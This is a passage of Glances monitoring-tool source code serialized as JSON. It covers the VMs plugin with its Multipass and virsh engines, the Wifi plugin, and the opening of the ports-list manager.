total',\n        'unit': 'byte',\n    },\n    'load_1min': {\n        'description': 'Vm Load last 1 min',\n    },\n    'load_5min': {\n        'description': 'Vm Load last 5 mins',\n    },\n    'load_15min': {\n        'description': 'Vm Load last 15 mins',\n    },\n    'ipv4': {\n        'description': 'Vm IP v4 address',\n    },\n    'engine': {\n        'description': 'VM engine name',\n    },\n    'engine_version': {\n        'description': 'VM engine version',\n    },\n}\n\n# Define the items history list (list of items to add to history)\nitems_history_list = [{'name': 'memory_usage', 'description': 'Vm MEM usage', 'y_unit': 'byte'}]\n\n# List of key to remove before export\nexport_exclude_list = []\n\n# Sort dictionary for human\nsort_for_human = {\n    'cpu_count': 'CPU count',\n    'cpu_time': 'CPU time',\n    'memory_usage': 'memory consumption',\n    'load_1min': 'load',\n    'name': 'VM name',\n    None: 'None',\n}\n\n\nclass VmsPlugin(GlancesPluginModel):\n    \"\"\"Glances Vm plugin.\n\n    stats is a dict: {'version': '', 'vms': [{}, {}]}\n    \"\"\"\n\n    def __init__(self, args=None, config=None):\n        \"\"\"Init the plugin.\"\"\"\n        super().__init__(\n            args=args, config=config, items_history_list=items_history_list, fields_description=fields_description\n        )\n\n        # The plugin can be disabled using: args.disable_vm\n        self.args = args\n\n        # Default config keys\n        self.config = config\n\n        # We want to display the stat in the curse interface\n        self.display_curse = True\n\n        self.watchers: dict[str, VmsExtension] = {}\n\n        # Init the Multipass API\n        self.watchers['multipass'] = MultipassVmExtension()\n\n        # Init the Virsh API\n        self.watchers['virsh'] = VirshVmExtension()\n\n        # Sort key\n        self.sort_key = None\n\n    def get_key(self) -> str:\n        \"\"\"Return the key of the list.\"\"\"\n        return 'name'\n\n    def get_export(self) -> list[dict]:\n        \"\"\"Overwrite the default export method.\n\n        - Only exports vms\n        - The key is the first vm name\n        \"\"\"\n        try:\n            ret = deepcopy(self.stats)\n        except KeyError as e:\n            logger.debug(f\"vm plugin - Vm export error {e}\")\n            ret = []\n\n        # Remove fields uses to compute rate\n        for vm in ret:\n            for i in export_exclude_list:\n                vm.pop(i)\n\n        return ret\n\n    def _all_tag(self) -> bool:\n        \"\"\"Return the all tag of the Glances/Vm configuration file.\n\n        # By default, Glances only display running vms\n        # Set the following key to True to display all vms\n        all=True\n        \"\"\"\n        all_tag = self.get_conf_value('all')\n        if not all_tag:\n            return False\n        return all_tag[0].lower() == 'true'\n\n    @GlancesPluginModel._check_decorator\n    @GlancesPluginModel._log_result_decorator\n    def update(self) -> list[dict]:\n        \"\"\"Update VMs stats using the input method.\"\"\"\n        # Connection should be ok\n        if not self.watchers or self.input_method != 'local':\n            return self.get_init_value()\n\n        # Update stats\n        stats = self.update_local()\n\n        # Sort and update the stats\n        self.sort_key, self.stats = sort_vm_stats(stats)\n        return self.stats\n\n    @GlancesPluginModel._manage_rate\n    def update_local(self):\n        \"\"\"Update stats localy\"\"\"\n        stats = []\n        for engine, watcher in self.watchers.items():\n            version, vms = watcher.update(all_tag=self._all_tag())\n            for vm in vms:\n                vm[\"engine\"] = engine\n                vm[\"engine_version\"] = version\n            stats.extend(vms)\n        return stats\n\n    def update_views(self) -> bool:\n        \"\"\"Update stats views.\"\"\"\n        # Call the father's method\n        super().update_views()\n\n        if not self.stats:\n            return False\n\n        # Display Engine ?\n        show_engine_name = False\n        if len({ct[\"engine\"] for ct in self.stats}) > 1:\n            show_engine_name = True\n        self.views['show_engine_name'] = show_engine_name\n\n        return True\n\n    def msg_curse(self, args=None, max_width: int | None = None) -> list[str]:\n        \"\"\"Return the dict to display in the curse interface.\"\"\"\n        # Init the return message\n        ret = []\n\n        # Only process if stats exist (and non null) and display plugin enable...\n        if not self.stats or len(self.stats) == 0 or self.is_disabled():\n            return ret\n\n        # Build the string message\n        # Title\n        msg = '{}'.format('VMs')\n        ret.append(self.curse_add_line(msg, \"TITLE\"))\n        if len(self.stats) > 1:\n            msg = f' {len(self.stats)}'\n            ret.append(self.curse_add_line(msg))\n            msg = f' sorted by {sort_for_human[self.sort_key]}'\n            ret.append(self.curse_add_line(msg))\n        if not self.views['show_engine_name']:\n            msg = f' (served by {self.stats[0].get(\"engine\", \"\")})'\n            ret.append(self.curse_add_line(msg))\n        ret.append(self.curse_new_line())\n\n        # Header\n        ret.append(self.curse_new_line())\n        # Get the maximum VMs name length\n        # Max size is configurable. See feature request #1723.\n        name_max_width = min(\n            self.config.get_int_value('vms', 'max_name_size', default=20) if self.config is not None else 20,\n            len(max(self.stats, key=lambda x: len(x['name']))['name']),\n        )\n\n        if self.views['show_engine_name']:\n            # Get the maximum engine length\n            engine_max_width = max(len(max(self.stats, key=lambda x: len(x['engine']))['engine']), 8)\n            msg = ' {:{width}}'.format('Engine', width=engine_max_width)\n            ret.append(self.curse_add_line(msg))\n        msg = ' {:{width}}'.format('Name', width=name_max_width)\n        ret.append(self.curse_add_line(msg, 'SORT' if self.sort_key == 'name' else 'DEFAULT'))\n        msg = '{:>10}'.format('Status')\n        ret.append(self.curse_add_line(msg))\n        msg = '{:>6}'.format('Core')\n        ret.append(self.curse_add_line(msg, 'SORT' if self.sort_key == 'cpu_count' else 'DEFAULT'))\n        msg = '{:>6}'.format('CPU%')\n        ret.append(self.curse_add_line(msg, 'SORT' if self.sort_key == 'cpu_time' else 'DEFAULT'))\n        msg = '{:>7}'.format('MEM')\n        ret.append(self.curse_add_line(msg, 'SORT' if self.sort_key == 'memory_usage' else 'DEFAULT'))\n        msg = '/{:<7}'.format('MAX')\n        ret.append(self.curse_add_line(msg))\n        msg = '{:>17}'.format('LOAD 1/5/15min')\n        ret.append(self.curse_add_line(msg, 'SORT' if self.sort_key == 'load_1min' else 'DEFAULT'))\n        msg = '{:>10}'.format('Release')\n        ret.append(self.curse_add_line(msg))\n\n        # Data\n        for vm in self.stats:\n            ret.append(self.curse_new_line())\n            if self.views['show_engine_name']:\n                ret.append(self.curse_add_line(' {:{width}}'.format(vm[\"engine\"], width=engine_max_width)))\n            # Name\n            ret.append(self.curse_add_line(' {:{width}}'.format(vm['name'][:name_max_width], width=name_max_width)))\n            # Status\n            status = self.vm_alert(vm['status'])\n            msg = '{:>10}'.format(vm['status'][0:10])\n            ret.append(self.curse_add_line(msg, status))\n            # CPU (count)\n            try:\n                msg = '{:>6}'.format(vm['cpu_count'])\n            except (KeyError, TypeError):\n                msg = '{:>6}'.format('-')\n            ret.append(self.curse_add_line(msg, self.get_views(item=vm['name'], key='cpu_count', option='decoration')))\n            # CPU (time)\n            try:\n                msg = '{:>6}'.format(vm['cpu_time_rate_per_sec'])\n            except (KeyError, TypeError):\n                msg = '{:>6}'.format('-')\n            ret.append(\n                self.curse_add_line(\n                    msg, self.get_views(item=vm['name'], key='cpu_time_rate_per_sec', option='decoration')\n                )\n            )\n            # MEM\n            try:\n                msg = '{:>7}'.format(self.auto_unit(vm['memory_usage']))\n            except KeyError:\n                msg = '{:>7}'.format('-')\n            ret.append(\n                self.curse_add_line(msg, self.get_views(item=vm['name'], key='memory_usage', option='decoration'))\n            )\n            try:\n                msg = '/{:<7}'.format(self.auto_unit(vm['memory_total']))\n            except (KeyError, TypeError):\n                msg = '/{:<7}'.format('-')\n            ret.append(self.curse_add_line(msg))\n            # LOAD\n            try:\n                msg = '{:>5.1f}/{:>5.1f}/{:>5.1f}'.format(vm['load_1min'], vm['load_5min'], vm['load_15min'])\n            except (KeyError, TypeError):\n                msg = '{:>5}/{:>5}/{:>5}'.format('-', '-', '-')\n            ret.append(self.curse_add_line(msg, self.get_views(item=vm['name'], key='load_1min', option='decoration')))\n            # Release\n            if vm['release'] is not None:\n                msg = '   {}'.format(vm['release'])\n            else:\n                msg = '   {}'.format('-')\n            ret.append(self.curse_add_line(msg, splittable=True))\n\n        return ret\n\n    @staticmethod\n    def vm_alert(status: str) -> str:\n        \"\"\"Analyse the vm status.\n        For multipass: https://multipass.run/docs/instance-states\n        \"\"\"\n        if status == 'running':\n            return 'OK'\n        if status in ['starting', 'restarting', 'delayed shutdown']:\n            return 'WARNING'\n        return 'INFO'\n\n\ndef sort_vm_stats(stats: list[dict[str, Any]]) -> tuple[str, list[dict[str, Any]]]:\n    # Make VM sort related to process sort\n    if glances_processes.sort_key == 'memory_percent':\n        sort_by = 'memory_usage'\n        sort_by_secondary = 'cpu_time'\n    elif glances_processes.sort_key == 'name':\n        sort_by = 'name'\n        sort_by_secondary = 'load_1min'\n    else:\n        sort_by = 'cpu_time'\n        sort_by_secondary = 'load_1min'\n\n    # Sort vm stats\n    sort_stats_processes(\n        stats,\n        sorted_by=sort_by,\n        sorted_by_secondary=sort_by_secondary,\n        # Reverse for all but name\n        reverse=glances_processes.sort_key != 'name',\n    )\n\n    # Return the main sort key and the sorted stats\n    return sort_by, stats\n\n\n# End of file\n"
  },
  {
    "path": "glances/plugins/vms/engines/__init__.py",
    "content": "#\n# This file is part of Glances.\n#\n# SPDX-FileCopyrightText: 2024 Nicolas Hennion <nicolas@nicolargo.com>\n#\n# SPDX-License-Identifier: LGPL-3.0-only\n#\n\nfrom typing import Any, Protocol\n\n\nclass VmsExtension(Protocol):\n    def stop(self) -> None:\n        raise NotImplementedError\n\n    def update(self, all_tag) -> tuple[dict, list[dict[str, Any]]]:\n        raise NotImplementedError\n"
  },
  {
    "path": "glances/plugins/vms/engines/multipass.py",
    "content": "#\n# This file is part of Glances.\n#\n# SPDX-FileCopyrightText: 2024 Nicolas Hennion <nicolas@nicolargo.com>\n#\n# SPDX-License-Identifier: LGPL-3.0-only\n#\n\n\"\"\"Multipass Extension unit for Glances' Vms plugin.\"\"\"\n\nimport json\nimport os\nfrom functools import cache\nfrom typing import Any\n\nfrom glances.globals import json_loads, nativestr\nfrom glances.plugins.vms.engines import VmsExtension\nfrom glances.secure import secure_popen\n\n# Check if multipass binary exist\n# TODO: make this path configurable from the Glances configuration file\nMULTIPASS_PATH = '/snap/bin/multipass'\nMULTIPASS_VERSION_OPTIONS = 'version --format json'\nMULTIPASS_INFO_OPTIONS = 'info --format json'\nimport_multipass_error_tag = not os.path.exists(MULTIPASS_PATH) or not os.access(MULTIPASS_PATH, os.X_OK)\n\n\nclass VmExtension(VmsExtension):\n    \"\"\"Glances' Vms Plugin's Vm Extension unit\"\"\"\n\n    CONTAINER_ACTIVE_STATUS = ['running']\n\n    def __init__(self):\n        self.ext_name = \"Multipass (Vm)\"\n\n    @cache\n    def update_version(self):\n        # > multipass version --format json\n        # {\n        #     \"multipass\": \"1.13.1\",\n        #     \"multipassd\": \"1.13.1\"\n        # }\n        ret_cmd = secure_popen(f'{MULTIPASS_PATH} {MULTIPASS_VERSION_OPTIONS}')\n        try:\n            ret = json_loads(ret_cmd)\n        except json.JSONDecodeError:\n            return ''\n        else:\n            return ret.get('multipass', None)\n\n    def update_info(self):\n        ret_cmd = secure_popen(f'{MULTIPASS_PATH} {MULTIPASS_INFO_OPTIONS}')\n        try:\n            ret = json_loads(ret_cmd)\n        except json.JSONDecodeError:\n            return {}\n        else:\n            return ret.get('info', {})\n\n    def update(self, all_tag) -> tuple[str, list[dict]]:\n        \"\"\"Update Vm stats using the input method.\"\"\"\n        # Can not run multipass on this system then...\n        if import_multipass_error_tag:\n            return '', []\n\n        # Get the stats from the system\n        version_stats = self.update_version()\n        info_stats = self.update_info()\n        returned_stats = []\n        for k, v in info_stats.items():\n            # Only display when VM in on 'running' states\n            # See states list here: https://multipass.run/docs/instance-states\n            if all_tag or self._want_display(v, 'state', ['Running', 'Starting', 'Restarting']):\n                returned_stats.append(self.generate_stats(k, v))\n\n        return version_stats, returned_stats\n\n    @property\n    def key(self) -> str:\n        \"\"\"Return the key of the list.\"\"\"\n        return 'name'\n\n    def _want_display(self, vm_stats, key, values):\n        return vm_stats.get(key).lower() in [v.lower() for v in values]\n\n    def generate_stats(self, vm_name, vm_stats) -> dict[str, Any]:\n        # Init the stats for the current vm\n        return {\n            'key': self.key,\n            'name': nativestr(vm_name),\n            'id': vm_stats.get('image_hash'),\n            'status': vm_stats.get('state').lower() if vm_stats.get('state') else None,\n            'release': vm_stats.get('release') if vm_stats.get('release') else vm_stats.get('image_release'),\n            'cpu_count': int(vm_stats.get('cpu_count', 1)) if vm_stats.get('cpu_count', 1) else None,\n            'cpu_time': None,  # Not available through the multipass CLI\n            'memory_usage': vm_stats.get('memory').get('used') if vm_stats.get('memory') else None,\n            'memory_total': vm_stats.get('memory').get('total') if vm_stats.get('memory') else None,\n            'load_1min': vm_stats.get('load')[0] if vm_stats.get('load') else None,\n            'load_5min': vm_stats.get('load')[1] if vm_stats.get('load') else None,\n            'load_15min': vm_stats.get('load')[2] if vm_stats.get('load') else None,\n            'ipv4': vm_stats.get('ipv4')[0] if vm_stats.get('ipv4') else None,\n            # TODO: disk\n        }\n"
  },
  {
    "path": "glances/plugins/vms/engines/virsh.py",
    "content": "#\n# This file is part of Glances.\n#\n# SPDX-FileCopyrightText: 2025 Nicolas Hennion <nicolas@nicolargo.com>\n#\n# SPDX-License-Identifier: LGPL-3.0-only\n#\n\n\"\"\"Virsh (QEMU/KVM) Extension unit for Glances' Vms plugin.\"\"\"\n\nimport os\nimport re\nfrom functools import cache\nfrom typing import Any\n\nfrom glances.globals import nativestr\nfrom glances.plugins.vms.engines import VmsExtension\nfrom glances.secure import secure_popen\n\n# Check if virsh binary exist\n# TODO: make this path configurable from the Glances configuration file\nVIRSH_PATH = '/usr/bin/virsh'\nVIRSH_VERSION_OPTIONS = 'version'\nVIRSH_INFO_OPTIONS = 'list --all'\nVIRSH_DOMAIN_STATS_OPTIONS = 'domstats --nowait'\nVIRSH_DOMAIN_TITLE_OPTIONS = 'desc --title'\nimport_virsh_error_tag = not os.path.exists(VIRSH_PATH) or not os.access(VIRSH_PATH, os.X_OK)\n\n\nclass VmExtension(VmsExtension):\n    \"\"\"Glances' Virsh Plugin's Vm Extension unit\"\"\"\n\n    CONTAINER_ACTIVE_STATUS = ['running']\n\n    def __init__(self):\n        self.ext_name = \"Virsh (Vm)\"\n\n    @cache\n    def update_version(self):\n        # > virsh version\n        # Compiled against library: libvirt 10.0.0\n        # Using library: libvirt 10.0.0\n        # Using API: QEMU 10.0.0\n        # Running hypervisor: QEMU 8.2.2\n        ret_cmd = secure_popen(f'{VIRSH_PATH} {VIRSH_VERSION_OPTIONS}')\n        try:\n            ret = ret_cmd.splitlines()[3].split(':')[1].lstrip()\n        except IndexError:\n            return ''\n        return ret\n\n    def update_domains(self):\n        # ❯ virsh list --all\n        #  Id   Name              State\n        # ----------------------------------\n        #  4    win11             paused\n        #  -    Kali_Linux_2024   shut off\n        ret_cmd = secure_popen(f'{VIRSH_PATH} {VIRSH_INFO_OPTIONS}')\n\n        try:\n            # Ignore first two lines (header) and the last one (empty)\n            lines = ret_cmd.splitlines()[2:-1]\n        except IndexError:\n            return {}\n\n        ret = {}\n        for line in lines:\n            domain = re.split(r'\\s{2,}', line)\n            ret[domain[1]] = {\n                'id': domain[0],\n                'state': domain[2],\n            }\n\n        return ret\n\n    def update_stats(self, domain):\n        # ❯ virsh domstats win11\n        # Domain: 'win11'\n        #   state.state=1\n        #   state.reason=1\n        #   cpu.time=1702145606000\n        #   cpu.user=1329954143000\n        #   cpu.system=372191462000\n        #   cpu.cache.monitor.count=0\n        #   cpu.haltpoll.success.time=60243506159\n        #   cpu.haltpoll.fail.time=34398762096\n        #   balloon.current=8388608\n        #   balloon.maximum=8388608\n        #   balloon.last-update=0\n        #   balloon.rss=8439116\n        #   vcpu.current=4\n        #   vcpu.maximum=4\n        #   vcpu.0.state=1\n        #   vcpu.0.time=955260000000\n        #   vcpu.0.wait=0\n        #   vcpu.0.delay=1305744538\n        #   vcpu.0.halt_wakeup.sum=701415\n        #   vcpu.0.halt_successful_poll.sum=457799\n        #   vcpu.0.pf_mmio_spte_created.sum=38376\n        #   vcpu.0.pf_emulate.sum=38873\n        #   vcpu.0.fpu_reload.sum=8252258\n        #   vcpu.0.insn_emulation.sum=6544119\n        #   vcpu.0.signal_exits.sum=144\n        #   vcpu.0.invlpg.sum=0\n        #   vcpu.0.request_irq_exits.sum=0\n        #   vcpu.0.preemption_reported.sum=25322\n        #   vcpu.0.l1d_flush.sum=0\n        #   vcpu.0.guest_mode.cur=no\n        #   vcpu.0.halt_poll_fail_ns.sum=8369146975\n        #   vcpu.0.pf_taken.sum=11455007\n        #   vcpu.0.notify_window_exits.sum=0\n        #   vcpu.0.directed_yield_successful.sum=0\n        #   vcpu.0.host_state_reload.sum=8982225\n        #   vcpu.0.nested_run.sum=0\n        #   vcpu.0.nmi_injections.sum=1\n        #   vcpu.0.pf_spurious.sum=7\n        #   vcpu.0.halt_exits.sum=1173865\n        #   vcpu.0.exits.sum=28094008\n        #   vcpu.0.mmio_exits.sum=6536664\n        #   vcpu.0.pf_fixed.sum=11410566\n        #   vcpu.0.insn_emulation_fail.sum=0\n        #   vcpu.0.io_exits.sum=1723037\n        #   vcpu.0.halt_attempted_poll.sum=610576\n        #   vcpu.0.req_event.sum=3245967\n        #   vcpu.0.irq_exits.sum=1265655\n        #   vcpu.0.blocking.cur=yes\n        #   vcpu.0.irq_injections.sum=594\n        #   vcpu.0.preemption_other.sum=11312\n        #   vcpu.0.pf_fast.sum=5377009\n        #   vcpu.0.hypercalls.sum=4799\n        #   vcpu.0.nmi_window_exits.sum=0\n        #   vcpu.0.directed_yield_attempted.sum=0\n        #   vcpu.0.tlb_flush.sum=286197\n        #   vcpu.0.halt_wait_ns.sum=872563463627\n        #   vcpu.0.irq_window_exits.sum=0\n        #   vcpu.0.pf_guest.sum=0\n        #   vcpu.0.halt_poll_success_ns.sum=13527499051\n        #   vcpu.0.halt_poll_invalid.sum=0\n        #   vcpu.1...\n        #   net.count=1\n        #   net.0.name=vnet3\n        #   net.0.rx.bytes=418454563\n        #   net.0.rx.pkts=291468\n        #   net.0.rx.errs=0\n        #   net.0.rx.drop=7\n        #   net.0.tx.bytes=3884562\n        #   net.0.tx.pkts=35405\n        #   net.0.tx.errs=0\n        #   net.0.tx.drop=0\n        #   block.count=2\n        #   block.0.name=sda\n        #   block.0.path=/var/lib/libvirt/images/win11.qcow2\n        #   block.0.backingIndex=2\n        #   block.0.rd.reqs=246802\n        #   block.0.rd.bytes=18509028864\n        #   block.0.rd.times=83676206416\n        #   block.0.wr.reqs=471370\n        #   block.0.wr.bytes=28260229120\n        #   block.0.wr.times=158585666809\n        #   block.0.fl.reqs=46269\n        #   block.0.fl.times=181262854634\n        #   block.0.allocation=137460187136\n        #   block.0.capacity=137438953472\n        #   block.0.physical=13457760256\n        #   block.1...\n        #   dirtyrate.calc_status=0\n        #   dirtyrate.calc_start_time=0\n        #   dirtyrate.calc_period=0\n        #   dirtyrate.calc_mode=page-sampling\n        #   vm.remote_tlb_flush.sum=436456\n        #   vm.nx_lpage_splits.cur=0\n        #   vm.pages_1g.cur=0\n        #   vm.pages_2m.cur=859\n        #   vm.pages_4k.cur=1196897\n        #   vm.max_mmu_page_hash_collisions.max=0\n        #   vm.mmu_pde_zapped.sum=0\n        #   vm.max_mmu_rmap_size.max=0\n        #   vm.mmu_cache_miss.sum=0\n        #   vm.mmu_recycled.sum=0\n        #   vm.mmu_unsync.cur=0\n        #   vm.mmu_shadow_zapped.sum=0\n        #   vm.mmu_flooded.sum=0\n        #   vm.mmu_pte_write.sum=0\n        #   vm.remote_tlb_flush_requests.sum=609455\n        ret_cmd = secure_popen(f'{VIRSH_PATH} {VIRSH_DOMAIN_STATS_OPTIONS} {domain}')\n\n        try:\n            # Ignore first line (domain name already know) and last line (empty)\n            lines = ret_cmd.splitlines()[1:-1]\n        except IndexError:\n            return {}\n\n        ret = {}\n        for line in lines:\n            k, v = re.split(r'\\s*=\\s*', line.lstrip())\n            ret[k] = v\n\n        return ret\n\n    @cache\n    def update_title(self, domain):\n        # ❯ virsh desc --title Kali_Linux_2024\n        # Kali Linux 2024\n        ret_cmd = secure_popen(f'{VIRSH_PATH} {VIRSH_DOMAIN_TITLE_OPTIONS} {domain}')\n\n        return ret_cmd.rstrip()\n\n    def update(self, all_tag) -> tuple[dict, list[dict]]:\n        \"\"\"Update Vm stats using the input method.\"\"\"\n        # Can not run virsh on this system then...\n        if import_virsh_error_tag:\n            return '', []\n\n        # Update VM stats\n        version_stats = self.update_version()\n        domains_stats = self.update_domains()\n        returned_stats = []\n        for k, v in domains_stats.items():\n            # Only display when VM in on 'running' and 'paused' states\n            # Why paused ? Because a paused VM consume memory\n            if all_tag or self._want_display(v, 'state', ['running', 'paused']):\n                returned_stats.append(self.generate_stats(k, v))\n\n        return version_stats, returned_stats\n\n    @property\n    def key(self) -> str:\n        \"\"\"Return the key of the list.\"\"\"\n        return 'name'\n\n    def _want_display(self, domain_stats, key, values):\n        return domain_stats.get(key).lower() in [v.lower() for v in values]\n\n    def generate_stats(self, domain_name, domain_stats) -> dict[str, Any]:\n        # Update stats and title for the domain\n        vm_stats = self.update_stats(domain_name)\n        vm_title = self.update_title(domain_name)\n\n        return {\n            'key': self.key,\n            'name': nativestr(domain_name),\n            'id': domain_stats.get('id'),\n            'status': domain_stats.get('state').lower() if domain_stats.get('state') else None,\n            'release': nativestr(vm_title),\n            'cpu_count': int(vm_stats.get('vcpu.current', 1)) if vm_stats.get('vcpu.current', 1) else None,\n            'cpu_time': int(vm_stats.get('cpu.time', 0)) / 1000000000 * 100,\n            'memory_usage': int(vm_stats.get('balloon.rss')) * 1024 if vm_stats.get('balloon.rss') else None,\n            'memory_total': int(vm_stats.get('balloon.maximum')) * 1024 if vm_stats.get('balloon.maximum') else None,\n            'load_1min': None,\n            'load_5min': None,\n            'load_15min': None,\n            'ipv4': None,\n            # TODO: disk\n        }\n"
  },
  {
    "path": "glances/plugins/wifi/__init__.py",
    "content": "#\n# This file is part of Glances.\n#\n# SPDX-FileCopyrightText: 2024 Nicolas Hennion <nicolas@nicolargo.com>\n#\n# SPDX-License-Identifier: LGPL-3.0-only\n#\n\n\"\"\"Wifi plugin.\n\nStats are retrieved from the /proc/net/wireless file (Linux only):\n\n# cat /proc/net/wireless\nInter-| sta-|   Quality        |   Discarded packets               | Missed | WE\n face | tus | link level noise |  nwid  crypt   frag  retry   misc | beacon | 22\nwlp2s0: 0000   51.  -59.  -256        0      0      0      0   5881        0\n\"\"\"\n\nimport operator\n\nfrom glances.globals import file_exists, nativestr\nfrom glances.logger import logger\nfrom glances.plugins.plugin.model import GlancesPluginModel\n\n# Use stats available in the /proc/net/wireless file\n# Note: it only give signal information about the current hotspot\nWIRELESS_FILE = '/proc/net/wireless'\nwireless_file_exists = file_exists(WIRELESS_FILE)\n\nif not wireless_file_exists:\n    logger.debug(f\"Wifi plugin is disabled (can not read {WIRELESS_FILE} file)\")\n\n# Fields description\n# description: human readable description\n# short_name: shortname to use un UI\n# unit: unit type\n# rate: if True then compute and add *_gauge and *_rate_per_is fields\n# min_symbol: Auto unit should be used if value > than 1 'X' (K, M, G)...\nfields_description = {\n    'ssid': {'description': 'Wi-Fi network name.'},\n    'quality_link': {\n        'description': 'Signal quality level.',\n        'unit': 'dBm',\n    },\n    'quality_level': {\n        'description': 'Signal strong level.',\n        'unit': 'dBm',\n        'alert': True,\n    },\n}\n\n\nclass WifiPlugin(GlancesPluginModel):\n    \"\"\"Glances Wifi plugin.\n\n    Get stats of the current Wifi hotspots.\n    \"\"\"\n\n    def __init__(self, args=None, config=None):\n        \"\"\"Init the plugin.\"\"\"\n        super().__init__(args=args, config=config, stats_init_value=[])\n\n        # We want to display the stat in the curse interface\n        self.display_curse = True\n\n        # Global Thread running all the scans\n        self._thread = None\n\n    def exit(self):\n        \"\"\"Overwrite the exit method to close threads.\"\"\"\n        if self._thread is not None:\n            self._thread.stop()\n        # Call the father class\n        super().exit()\n\n    def get_key(self):\n        \"\"\"Return the key of the list.\n\n        :returns: string -- SSID is the dict key\n        \"\"\"\n        return 'ssid'\n\n    @GlancesPluginModel._check_decorator\n    @GlancesPluginModel._log_result_decorator\n    def update(self):\n        \"\"\"Update Wifi stats using the input method.\n\n        Stats is a list of dict (one dict per hotspot)\n\n        :returns: list -- Stats is a list of dict (hotspot)\n        \"\"\"\n        # Init new stats\n        stats = self.get_init_value()\n\n        # Exist if we can not grab the stats\n        if not wireless_file_exists:\n            return stats\n\n        if self.input_method == 'local' and wireless_file_exists:\n            try:\n                stats = self._get_wireless_stats()\n            except (PermissionError, FileNotFoundError) as e:\n                logger.debug(f\"Wifi plugin error: can not read {WIRELESS_FILE} file ({e})\")\n        elif self.input_method == 'snmp':\n            # Update stats using SNMP\n            # Not implemented yet\n            pass\n\n        # Update the stats\n        self.stats = stats\n\n        return self.stats\n\n    def _get_wireless_stats(self):\n        ret = self.get_init_value()\n        # As a backup solution, use the /proc/net/wireless file\n        with open(WIRELESS_FILE) as f:\n            # The first two lines are header\n            f.readline()\n            f.readline()\n            # Others lines are Wifi stats\n            wifi_stats = f.readline()\n            while wifi_stats != '':\n                # Extract the stats\n                wifi_stats = wifi_stats.split()\n                # Add the Wifi link to the list\n                ret.append(\n                    {\n                        'key': self.get_key(),\n                        'ssid': wifi_stats[0][:-1],\n                        'quality_link': float(wifi_stats[2]),\n                        'quality_level': float(wifi_stats[3]),\n                    }\n                )\n                # Next line\n                wifi_stats = f.readline()\n        return ret\n\n    def get_alert(self, value, header=None, action_key=None, log=False):\n        \"\"\"Overwrite the default get_alert method.\n\n        Alert is on signal quality where lower is better...\n\n        :returns: string -- Signal alert\n        \"\"\"\n        ret = 'OK'\n        try:\n            if value <= self.get_limit('critical', stat_name=self.plugin_name):\n                ret = 'CRITICAL'\n            elif value <= self.get_limit('warning', stat_name=self.plugin_name):\n                ret = 'WARNING'\n            elif value <= self.get_limit('careful', stat_name=self.plugin_name):\n                ret = 'CAREFUL'\n        except (TypeError, KeyError):\n            # Catch TypeError for issue1373\n            ret = 'DEFAULT'\n\n        return ret\n\n    def update_views(self):\n        \"\"\"Update stats views.\"\"\"\n        # Call the father's method\n        super().update_views()\n\n        # Add specifics information\n        # Alert on quality_level thresholds\n        for i in self.stats:\n            self.views[i[self.get_key()]]['quality_level']['decoration'] = self.get_alert(i['quality_level'])\n\n    def msg_curse(self, args=None, max_width=None):\n        \"\"\"Return the dict to display in the curse interface.\"\"\"\n        # Init the return message\n        ret = []\n\n        # Only process if stats exist and display plugin enable...\n        if not self.stats or not wireless_file_exists or self.is_disabled():\n            return ret\n\n        # Max size for the interface name\n        if max_width:\n            if_name_max_width = max_width - 5\n        else:\n            # No max_width defined, return an empty curse message\n            logger.debug(f\"No max_width defined for the {self.plugin_name} plugin, it will not be displayed.\")\n            return ret\n\n        # Build the string message\n        # Header\n        msg = '{:{width}}'.format('WIFI', width=if_name_max_width)\n        ret.append(self.curse_add_line(msg, \"TITLE\"))\n        msg = '{:>7}'.format('dBm')\n        ret.append(self.curse_add_line(msg))\n\n        # Hotspot list (sorted by name)\n        for i in sorted(self.stats, key=operator.itemgetter(self.get_key())):\n            # Do not display hotspot with no name (/ssid)...\n            # of ssid/signal None... See issue #1151 and #issue1973\n            if i['ssid'] == '' or i['ssid'] is None or i['quality_level'] is None:\n                continue\n            ret.append(self.curse_new_line())\n            # New hotspot\n            hotspot_name = i['ssid']\n            msg = '{:{width}}'.format(nativestr(hotspot_name), width=if_name_max_width)\n            ret.append(self.curse_add_line(msg))\n            msg = '{:>7}'.format(\n                i['quality_level'],\n            )\n            ret.append(\n                self.curse_add_line(\n                    msg, self.get_views(item=i[self.get_key()], key='quality_level', option='decoration')\n                )\n            )\n\n        return ret\n"
  },
  {
    "path": "glances/ports_list.py",
    "content": "#\n# This file is part of Glances.\n#\n# SPDX-FileCopyrightText: 2022 Nicolas Hennion <nicolas@nicolargo.com>\n#\n# SPDX-License-Identifier: LGPL-3.0-only\n#\n\n\"\"\"Manage the Glances ports list (Ports plugin).\"\"\"\n\nfrom glances.globals import get_default_gateway\nfrom glances.logger import logger\n\n\nclass GlancesPortsList:\n    \"\"\"Manage the ports list for the ports plugin.\"\"\"\n\n    _section = \"ports\"\n    _default_refresh = 60\n    _default_timeout = 3\n\n    def __init__(self, config=None, args=None):\n        # ports_list is a list of dict (JSON compliant)\n        # [ {'host': 'www.google.fr', 'port': 443, 'refresh': 30, 'description': Internet, 'status': True} ... ]\n        # Load the configuration file\n        self._ports_list = self.load(config)\n\n    def load(self, config):\n        \"\"\"Load the ports list from the configuration file.\"\"\"\n        ports_list = []\n\n        if config is None:\n            logger.debug(\"No configuration file available. Cannot load ports list.\")\n        elif not config.has_section(self._section):\n            logger.debug(f\"No [{self._section}] section in the configuration file. Cannot load ports list.\")\n        else:\n            logger.debug(f\"Start reading the [{self._section}] section in the configuration file\")\n\n            refresh = int(config.get_value(self._section, 'refresh', default=self._default_refresh))\n            timeout = int(config.get_value(self._section, 'timeout', default=self._default_timeout))\n\n            # Add default gateway on top of the ports_list lists\n            default_gateway = config.get_value(self._section, 'port_default_gateway', default='False')\n            if default_gateway.lower().startswith('true'):\n                new_port = {}\n                # ICMP\n                new_port['host'] = get_default_gateway()\n                new_port['port'] = 0\n                new_port['description'] = 'DefaultGateway'\n                new_port['refresh'] = refresh\n                new_port['timeout'] = timeout\n                new_port['status'] = None\n                new_port['rtt_warning'] = None\n                new_port['indice'] = 'port_0'\n                logger.debug(\"Add default gateway {} to the static list\".format(new_port['host']))\n                ports_list.append(new_port)\n\n            # Read the scan list\n            for i in range(1, 256):\n                new_port = {}\n                postfix = f'port_{str(i)}_'\n\n                # Read mandatory configuration key: host\n                new_port['host'] = config.get_value(self._section, '{}{}'.format(postfix, 'host'))\n\n                if new_port['host'] is None:\n                    continue\n\n                # Read optionals configuration keys\n                # Port is set to 0 by default. 0 mean ICMP check instead of TCP check\n                new_port['port'] = config.get_value(self._section, '{}{}'.format(postfix, 'port'), 0)\n                new_port['description'] = 